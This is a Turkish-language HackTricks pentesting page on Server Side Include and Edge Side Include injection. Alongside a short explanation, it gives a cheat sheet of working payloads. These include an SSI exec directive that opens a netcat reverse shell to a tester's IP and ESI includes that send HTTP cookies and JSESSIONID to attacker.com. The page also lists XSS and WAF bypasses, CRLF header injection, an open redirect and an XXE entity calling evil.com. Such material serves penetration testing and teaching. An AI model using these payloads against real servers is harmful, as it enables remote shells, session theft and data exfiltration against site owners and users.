hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

12 KiB
Raw Blame History

Server Side Inclusion/Edge Side Inclusion Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Server Side Inclusion Temel Bilgiler

(Giriş Apache belgelerinden alınmıştır)

SSI (Server Side Includes), HTML sayfalarına yerleştirilen ve sayfalar sunulurken sunucuda değerlendirilen direktiflerdir. Mevcut bir HTML sayfasına dinamik olarak üretilen içerik eklemenizi sağlar, tüm sayfayı bir CGI programı veya diğer dinamik teknoloji aracılığıyla sunmak zorunda kalmadan.
Örneğin, mevcut bir HTML sayfasına şu şekilde bir direktif yerleştirebilirsiniz:

<!--#echo var="DATE_LOCAL" -->

Ve sayfa sunulduğunda, bu parça değerlendirilecek ve değeri ile değiştirilecektir:

Salı, 15-Oca-2013 19:28:54 EST

SSI kullanma kararı, sayfanızın ne kadarının statik olduğu ve sayfa her sunulduğunda ne kadarının yeniden hesaplanması gerektiği ile genellikle ilgilidir. SSI, yukarıda gösterilen mevcut zamanı gibi küçük bilgi parçaları eklemek için harika bir yoldur. Ancak sayfanızın çoğunluğu sunulduğu anda üretiliyorsa, başka bir çözüm aramanız gerekir.

Web uygulaması .shtml, .shtm veya .stm uzantılı dosyalar kullanıyorsa SSI'nin varlığını çıkarabilirsiniz, ancak bu sadece bir durum değildir.

Tipik bir SSI ifadesinin aşağıdaki formatı vardır:

<!--#directive param="value" -->

Kontrol

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

Dinamik uygulamaların veya bilgilerin önbelleğe alınması ile ilgili bir sorun vardır, çünkü içeriğin bir sonraki kez alındığında değişmiş olabileceği durumlar vardır. Bu, ESI'nin kullanılma amacıdır; ESI etiketlerini kullanarak önbellek versiyonundan önce oluşturulması gereken dinamik içeriği belirtmek için.
Eğer bir saldırgan önbellek içeriğine bir ESI etiketi enjekte edebilirse, o zaman, kullanıcılar için gönderilmeden önce belgede rastgele içerik enjekte edebilir.

ESI Detection

Sunucudan gelen bir yanıttaki aşağıdaki header, sunucunun ESI kullandığını gösterir:

Surrogate-Control: content="ESI/1.0"

Eğer bu başlığı bulamazsanız, sunucu her neyse ESI kullanıyor olabilir.
Kör istismar yaklaşımı da kullanılabilir çünkü bir isteğin saldırganın sunucusuna ulaşması gerekir:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI istismarı

GoSecure oluşturdu farklı ESI uyumlu yazılımlar üzerinde deneyebileceğimiz olası saldırıları anlamak için bir tablo:

  • Includes: <esi:includes> direktifini destekler
  • Vars: <esi:vars> direktifini destekler. XSS Filtrelerini atlatmak için kullanışlıdır
  • Cookie: Belge çerezleri ESI motoruna erişilebilir
  • Upstream Headers Required: Surrogate uygulamaları, upstream uygulama başlıkları sağlamadıkça ESI ifadelerini işleme almaz
  • Host Allowlist: Bu durumda, ESI dahil etmeleri yalnızca izin verilen sunucu ana bilgisayarlarından mümkündür, bu da örneğin SSRF'yi yalnızca bu ana bilgisayarlara karşı mümkün kılar
Yazılım Includes Vars Cookies Upstream Headers Required Host Whitelist
Squid3 Evet Evet Evet Evet Hayır
Varnish Cache Evet Hayır Hayır Evet Evet
Fastly Evet Hayır Hayır Hayır Evet
Akamai ESI Test Sunucusu (ETS) Evet Evet Evet Hayır Hayır
NodeJS esi Evet Evet Evet Hayır Hayır
NodeJS nodesi Evet Hayır Hayır Hayır Opsiyonel

XSS

Aşağıdaki ESI direktifi, sunucunun yanıtı içinde rastgele bir dosya yükleyecektir.

<esi:include src=http://attacker.com/xss.html>

İstemci XSS korumasını atlatma

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Çerez Çalma

  • Uzaktan çerez çalma
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • HTTP_ONLY çerezini XSS ile yanıt içinde yansıtarak çalın:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Özel Yerel Dosya

Bunu "Yerel Dosya Dahil Etme" ile karıştırmayın:

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect

Aşağıdaki, yanıta bir Location başlığı ekleyecektir.

<!--esi $add_header('Location','http://attacker.com') -->

Başlık Ekle

  • Zorunlu istekte başlık ekle
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • Yanıtın başlığına ekleyin (XSS içeren bir yanıtta "Content-Type: text/json" atlatmak için faydalıdır)
<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF Ekle başlığında (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

Bu, yanıtta yer alan hata ayıklama bilgilerini gönderecektir:

<esi:debug/>

ESI + XSLT = XXE

dca parametresi için xslt değerini belirleyerek, eXtensible Stylesheet Language Transformations (XSLT) tabanlı ESI'yi dahil etmek mümkündür. Dahil etme, HTTP surrogate'ının XML ve XSLT dosyalarını almasına neden olur; bu da birincisini filtreler. Bu tür XML dosyaları, saldırganların SSRF saldırıları gerçekleştirmesine olanak tanıyan XML External Entity (XXE) saldırıları için kullanılabilir. Ancak, bu yaklaşımın faydası sınırlıdır çünkü ESI zaten bir SSRF vektörü olarak hizmet eder. Temel Xalan kütüphanesinde destek olmaması nedeniyle, harici DTD'ler işlenmez ve yerel dosya çıkarımı engellenir.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT dosyası:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Check the XSLT page:

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Referanslar

Brute-Force Tespit Listesi

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}